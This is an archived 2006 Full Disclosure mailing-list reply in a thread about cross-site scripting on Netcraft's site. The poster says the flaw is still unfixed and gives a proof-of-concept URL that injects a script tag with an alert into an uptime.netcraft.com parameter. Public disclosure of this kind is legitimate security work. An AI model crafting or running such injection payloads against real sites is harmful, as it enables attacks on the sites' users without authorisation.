Full Disclosure mailing list archives
Re: Re: XSS at Netcraft.com
From: "Valery Marchuk" <tecklord () argocom cv ua>
Date: Wed, 2 Aug 2006 23:23:10 +0300
They seem to have fixed the particular issue as of now. Of course, it's rather sad that a net security company does have XSS issues, but at least they seem to have reacted quickly.
No they have not. XSS still exists. http://uptime.netcraft.com//netmove/today?mode=new%5Fsite&zero=0"><script>alert('www.securitylab.ru')</script> Just turn on JavaScript in your browser or turn off your firewall:) _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Re: Do world's famous companies take care of their security? Valery Marchuk (Aug 01)
- XSS at Netcraft.com Valery Marchuk (Aug 02)
- Re: XSS at Netcraft.com Denis Jedig (Aug 02)
- Re: Re: XSS at Netcraft.com Valery Marchuk (Aug 02)
- Re: Re: XSS at Netcraft.com Saeed Abu Nimeh (Aug 02)
- Re: Re: XSS at Netcraft.com Denis Jedig (Aug 03)
- XSS at Symantec.com Valery Marchuk (Aug 03)
- Re: XSS at Netcraft.com Denis Jedig (Aug 02)
- XSS at Netcraft.com Valery Marchuk (Aug 02)
- Message not available
- Re: XSS at Netcraft.com Pigrelax (Aug 02)